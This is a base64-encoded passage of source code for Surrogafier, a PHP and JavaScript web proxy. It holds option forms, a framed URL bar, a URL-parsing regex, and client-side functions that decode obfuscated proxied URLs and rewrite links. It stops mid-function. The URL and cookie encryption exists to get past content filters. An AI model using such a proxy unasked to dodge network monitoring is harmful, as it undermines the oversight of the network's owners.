PHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpI